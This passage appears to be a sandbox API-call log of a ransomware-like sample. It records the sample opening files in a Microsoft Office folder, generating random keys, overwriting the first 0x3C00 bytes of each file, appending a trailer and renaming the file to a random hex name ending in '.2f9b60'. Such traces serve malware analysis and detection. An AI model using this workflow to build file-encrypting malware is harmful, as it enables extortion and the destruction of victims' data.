dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c94 [0135.108] GetFileSizeEx (in: hFile=0x1c94, lpFileSize=0x28e7fc00 | out: lpFileSize=0x28e7fc00*=53260) returned 1 [0135.108] SetFilePointerEx (in: hFile=0x1c94, liDistanceToMove=0xd008, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.108] ReadFile (in: hFile=0x1c94, lpBuffer=0x28e7fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28e7fbc8, lpOverlapped=0x0 | out: lpBuffer=0x28e7fb80*, lpNumberOfBytesRead=0x28e7fbc8*=0x4, lpOverlapped=0x0) returned 1 [0135.132] SetFilePointerEx (in: hFile=0x1c94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0135.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610a0 [0135.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261190 [0135.132] NtQuerySystemTime (in: CurrentTime=0x28e7fac0 | out: CurrentTime=0x28e7fac0*=132462177403762000) returned 0x0 [0135.132] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x2ce07442 [0135.132] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x5544b3cc [0135.132] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x6a3ca995 [0135.132] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x7195f374 [0135.132] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x337b6574 [0135.132] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x19f1087a [0135.132] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x6586c330 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x2be02f74 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x7282f6b5 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x5c575de3 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0xe7771a3 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x359b237b [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x29b24ebc [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x2d36d787 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x4178835d [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x5e4f756e [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x39983bc8 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x71aba25b [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x621c58a0 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x106e636b [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x6b0ff403 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0xbe7b12 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x3e5af2f8 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x4ca4eb1 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x26a94da7 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0xe21c023 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0xf1e9830 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x3d3158b7 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x6dfab2d6 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x2e23f8b0 [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x2733d60b [0135.133] RtlRandomEx (in: Seed=0x28e7fab0 | out: Seed=0x28e7fab0) returned 0x1d9aea4b [0135.147] SetFilePointerEx (in: hFile=0x1c94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.147] ReadFile (in: hFile=0x1c94, lpBuffer=0x2037ad80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28e7fb20, lpOverlapped=0x0 | out: lpBuffer=0x2037ad80*, lpNumberOfBytesRead=0x28e7fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0135.176] SetFilePointerEx (in: hFile=0x1c94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0135.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0135.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260980) returned 1 [0135.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203825a0 [0135.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0135.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0135.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605f0) returned 1 [0135.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0135.178] WriteFile (in: hFile=0x1c94, lpBuffer=0x203825a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28e7fb20, lpOverlapped=0x0 | out: lpBuffer=0x203825a0*, lpNumberOfBytesWritten=0x28e7fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0160.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203825a0) returned 1 [0160.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2037ad80) returned 1 [0160.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ae0 [0160.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0160.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0160.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2b10 [0160.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2b10) returned 1 [0160.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2b10 [0160.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2b40 [0160.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2b70 [0160.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2b70) returned 1 [0160.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0160.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0160.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42055d70 [0160.938] SetFilePointerEx (in: hFile=0x1c94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.938] WriteFile (hFile=0x1c94, lpBuffer=0x42055d70, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x28e7fbd0, lpOverlapped=0x0) [0206.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd10 [0206.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7370 [0206.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7370) returned 1 [0206.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d220 [0206.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7370 [0206.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7490 [0206.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7490) returned 1 [0206.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd10) returned 1 [0206.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x423a7490 [0206.989] sprintf (in: _Dest=0x423a7490, _Format="%c%c" | out: _Dest="70") returned 2 [0206.989] sprintf (in: _Dest=0x423a7492, _Format="%c%c" | out: _Dest="fb") returned 2 [0206.989] sprintf (in: _Dest=0x423a7494, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.989] sprintf (in: _Dest=0x423a7496, _Format="%c%c" | out: _Dest="af") returned 2 [0206.989] sprintf (in: _Dest=0x423a7498, _Format="%c%c" | out: _Dest="e5") returned 2 [0206.989] sprintf (in: _Dest=0x423a749a, _Format="%c%c" | out: _Dest="23") returned 2 [0206.989] sprintf (in: _Dest=0x423a749c, _Format="%c%c" | out: _Dest="e4") returned 2 [0206.989] sprintf (in: _Dest=0x423a749e, _Format="%c%c" | out: _Dest="fc") returned 2 [0206.989] sprintf (in: _Dest=0x423a74a0, _Format="%c%c" | out: _Dest="95") returned 2 [0206.990] sprintf (in: _Dest=0x423a74a2, _Format="%c%c" | out: _Dest="2e") returned 2 [0206.990] sprintf (in: _Dest=0x423a74a4, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.990] sprintf (in: _Dest=0x423a74a6, _Format="%c%c" | out: _Dest="fb") returned 2 [0206.990] sprintf (in: _Dest=0x423a74a8, _Format="%c%c" | out: _Dest="19") returned 2 [0206.990] sprintf (in: _Dest=0x423a74aa, _Format="%c%c" | out: _Dest="b5") returned 2 [0206.990] sprintf (in: _Dest=0x423a74ac, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.990] sprintf (in: _Dest=0x423a74ae, _Format="%c%c" | out: _Dest="01") returned 2 [0206.990] sprintf (in: _Dest=0x423a74b0, _Format="%c%c" | out: _Dest="ba") returned 2 [0206.990] sprintf (in: _Dest=0x423a74b2, _Format="%c%c" | out: _Dest="0e") returned 2 [0206.990] RtlInitAnsiString (in: DestinationString=0x28e7fc48, SourceString="70fbdcafe523e4fc952e4efb19b5d201ba0e" | out: DestinationString="70fbdcafe523e4fc952e4efb19b5d201ba0e") [0206.990] RtlAnsiStringToUnicodeString (in: DestinationString=0x28e7fc18, SourceString="70fbdcafe523e4fc952e4efb19b5d201ba0e", AllocateDestinationString=1 | out: DestinationString="70fbdcafe523e4fc952e4efb19b5d201ba0e") returned 0x0 [0206.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x431fa140 [0206.990] wcscat (in: _Dest=0x1b85dd10, _Source="70fbdcafe" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\70fbdcafe") returned="C:\\Program Files\\Microsoft Office\\Office14\\70fbdcafe" [0206.990] wcscat (in: _Dest=0x1b85dd10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\70fbdcafe.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\70fbdcafe.2f9b60" [0206.990] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\70fbdcafe.2f9b60", NtPathName=0x28e7fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\70fbdcafe.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c6fe0 Thread: id = 1795 os_tid = 0xe90 [0132.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat")) returned 0x20 [0132.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT", dwFileAttributes=0x20) returned 1 [0133.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRVC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrvc.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c6c [0134.882] GetFileSizeEx (in: hFile=0x1c6c, lpFileSize=0x28d4fda0 | out: lpFileSize=0x28d4fda0*=40972) returned 1 [0134.882] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0xa008, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.882] ReadFile (in: hFile=0x1c6c, lpBuffer=0x28d4fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28d4fd68, lpOverlapped=0x0 | out: lpBuffer=0x28d4fd20*, lpNumberOfBytesRead=0x28d4fd68*=0x4, lpOverlapped=0x0) returned 1 [0134.907] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9940 [0134.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0134.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6710 [0134.907] NtQuerySystemTime (in: CurrentTime=0x28d4fc60 | out: CurrentTime=0x28d4fc60*=132462177401422000) returned 0x0 [0134.907] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x648d7fa0 [0134.907] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x57717202 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x162cda12 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x32de92d4 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x487c3126 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x6c59acd4 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x28a14e35 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x466dcee7 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x58428b74 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x5f3194d [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x465c6072 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x2985ed22 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x1124fda3 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x32d10673 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x5f9b73b9 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x7b4df238 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0xcea14f6 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x75e754d4 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x18bc4349 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x5b11fc3f [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x3c55f6cb [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x577bc49d [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x5d9b0dbd [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x178a8676 [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x41bbd55c [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x3b28c6aa [0134.908] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x790d0c61 [0134.909] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0xaef832c [0134.909] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0xfc5d3b7 [0134.909] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x5ccc5d80 [0134.909] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x69d4ca5 [0134.909] RtlRandomEx (in: Seed=0x28d4fc50 | out: Seed=0x28d4fc50) returned 0x53675fd1 [0134.920] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.920] ReadFile (in: hFile=0x1c6c, lpBuffer=0x2033ad80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28d4fcc0, lpOverlapped=0x0 | out: lpBuffer=0x2033ad80*, lpNumberOfBytesRead=0x28d4fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0134.944] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0134.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0134.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6710 [0134.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6710) returned 1 [0134.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203461b0 [0134.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6710 [0134.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e90 [0134.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e90) returned 1 [0134.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0134.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0134.946] WriteFile (hFile=0x1c6c, lpBuffer=0x203461b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28d4fcc0, lpOverlapped=0x0) [0170.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203461b0) returned 1 [0170.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2033ad80) returned 1 [0170.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cc20 [0170.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420597e0 [0170.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0170.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cc50 [0170.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cc50) returned 1 [0170.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cc50 [0170.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cc80 [0170.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ccb0 [0170.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ccb0) returned 1 [0170.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0170.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420597e0) returned 1 [0170.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42c16c40 [0170.825] SetFilePointerEx (in: hFile=0x1c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.825] WriteFile (in: hFile=0x1c6c, lpBuffer=0x42c16c40*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x28d4fd70, lpOverlapped=0x0 | out: lpBuffer=0x42c16c40*, lpNumberOfBytesWritten=0x28d4fd70*=0x104, lpOverlapped=0x0) returned 1 [0201.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0201.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae90 [0201.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ae90) returned 1 [0201.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f8740 [0201.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae90 [0201.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae60 [0201.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ae60) returned 1 [0201.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0201.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x4205ae60 [0201.495] sprintf (in: _Dest=0x4205ae60, _Format="%c%c" | out: _Dest="af") returned 2 [0201.495] sprintf (in: _Dest=0x4205ae62, _Format="%c%c" | out: _Dest="95") returned 2 [0201.495] sprintf (in: _Dest=0x4205ae64, _Format="%c%c" | out: _Dest="18") returned 2 [0201.495] sprintf (in: _Dest=0x4205ae66, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.495] sprintf (in: _Dest=0x4205ae68, _Format="%c%c" | out: _Dest="45") returned 2 [0201.495] sprintf (in: _Dest=0x4205ae6a, _Format="%c%c" | out: _Dest="42") returned 2 [0201.495] sprintf (in: _Dest=0x4205ae6c, _Format="%c%c" | out: _Dest="40") returned 2 [0201.495] sprintf (in: _Dest=0x4205ae6e, _Format="%c%c" | out: _Dest="4c") returned 2 [0201.495] sprintf (in: _Dest=0x4205ae70, _Format="%c%c" | out: _Dest="a2") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae72, _Format="%c%c" | out: _Dest="e1") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae74, _Format="%c%c" | out: _Dest="17") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae76, _Format="%c%c" | out: _Dest="3c") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae78, _Format="%c%c" | out: _Dest="c8") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae7a, _Format="%c%c" | out: _Dest="ae") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae7c, _Format="%c%c" | out: _Dest="4f") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae7e, _Format="%c%c" | out: _Dest="74") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae80, _Format="%c%c" | out: _Dest="4c") returned 2 [0201.496] sprintf (in: _Dest=0x4205ae82, _Format="%c%c" | out: _Dest="d6") returned 2 [0201.496] RtlInitAnsiString (in: DestinationString=0x28d4fde8, SourceString="af9518ed4542404ca2e1173cc8ae4f744cd6" | out: DestinationString="af9518ed4542404ca2e1173cc8ae4f744cd6") [0201.496] RtlAnsiStringToUnicodeString (in: DestinationString=0x28d4fdb8, SourceString="af9518ed4542404ca2e1173cc8ae4f744cd6", AllocateDestinationString=1 | out: DestinationString="af9518ed4542404ca2e1173cc8ae4f744cd6") returned 0x0 [0201.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d790 [0201.497] wcscat (in: _Dest=0x1b85ee10, _Source="af9518ed4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\af9518ed4") returned="C:\\Program Files\\Microsoft Office\\Office14\\af9518ed4" [0201.497] wcscat (in: _Dest=0x1b85ee10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\af9518ed4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\af9518ed4.2f9b60" [0201.497] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\af9518ed4.2f9b60", NtPathName=0x28d4fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\af9518ed4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431969a0 Thread: id = 1796 os_tid = 0xc0c [0132.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat")) returned 0x20 [0132.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT", dwFileAttributes=0x20) returned 1 [0133.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OEMPRINT.CAT" (normalized: "c:\\program files\\microsoft office\\office14\\oemprint.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c90 [0135.085] GetFileSizeEx (in: hFile=0x1c90, lpFileSize=0x2906f660 | out: lpFileSize=0x2906f660*=7321) returned 1 [0135.085] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x1c95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.085] ReadFile (in: hFile=0x1c90, lpBuffer=0x2906f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2906f628, lpOverlapped=0x0 | out: lpBuffer=0x2906f5e0*, lpNumberOfBytesRead=0x2906f628*=0x4, lpOverlapped=0x0) returned 1 [0135.110] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0135.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0135.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 